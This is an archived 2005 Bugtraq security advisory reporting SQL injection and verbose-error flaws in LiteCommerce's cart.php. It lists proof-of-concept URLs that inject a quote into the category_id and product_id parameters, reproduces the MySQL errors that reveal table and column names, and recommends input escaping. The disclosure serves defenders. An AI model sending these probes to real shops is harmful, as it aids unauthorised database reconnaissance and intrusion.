Bugtraq mailing list archives

LiteCommerce Sql injection and reveling errors vulnerability


From: dcrab <dcrab () hackerscenter com>
Date: 7 Apr 2005 01:29:43 -0000



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/

Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more at 
http://www.digitalparadox.org/services.ah

Severity: High
Title: LiteCommerce Sql injection and reveling errors vulnerability
Date: 07/04/2005

Vendor: LiteCommerce
Vendor Website: http://www.litecommerce.com
Summary: There are, litecommerce sql injection and reveling errors vulnerability.

Proof of Concept Exploits: 

http://localhost/test/cart.php?target='PHP_SCRIPT_EXPOSUREPHP_SCRIPT_EXPOSURE


http://localhost/test/cart.php?target=category&category_id='SQL_INJECTION
SQL INJECTION

1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the 
right syntax to use near 'SQL_INJECTION' AND 1 ORDER BY order_by, name' at line 1 in SELECT 
category_id,image_width,image_height,name,description,meta_tags,enable 
d,views_stats,order_by,membership,threshold_bestsellers,parent,image_t ype FROM xlite_categories WHERE 
parent=''SQL_INJECTION' AND 1 ORDER BY order_by, name
This reveals coloumn, table information thus is very high risk and easy to exploit


http://localhost/test/cart.php?target=product&product_id='SQL_INJECTION&category_id=246
SQL INJECTION
 1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the 
right syntax to use near 'SQL_INJECTION' AND enabled=1' at line 1 in SELECT 
inventory_id,amount,low_avail_limit,enabled,order_by FROM xlite_inventories WHERE inventory_id=''SQL_INJECTION' AND 
enabled=1


Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions 
for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve 
these problems.

Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah

Author: 
These vulnerabilties have been found and released by Diabolic Crab, Email: 
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can 
find me at, http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my soon to come out book on Secure 
coding with php.

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1 - not licensed for commercial use: www.pgp.com

iQA/AwUBQlQqnyZV5e8av/DUEQKvwQCeOopLXzE9gr8xAzgfNBv3/kK+jJsAnRF6
kAWPwVxa+/JOKCN4w0S+8t9x
=Qy9r
-----END PGP SIGNATURE-----


Current thread: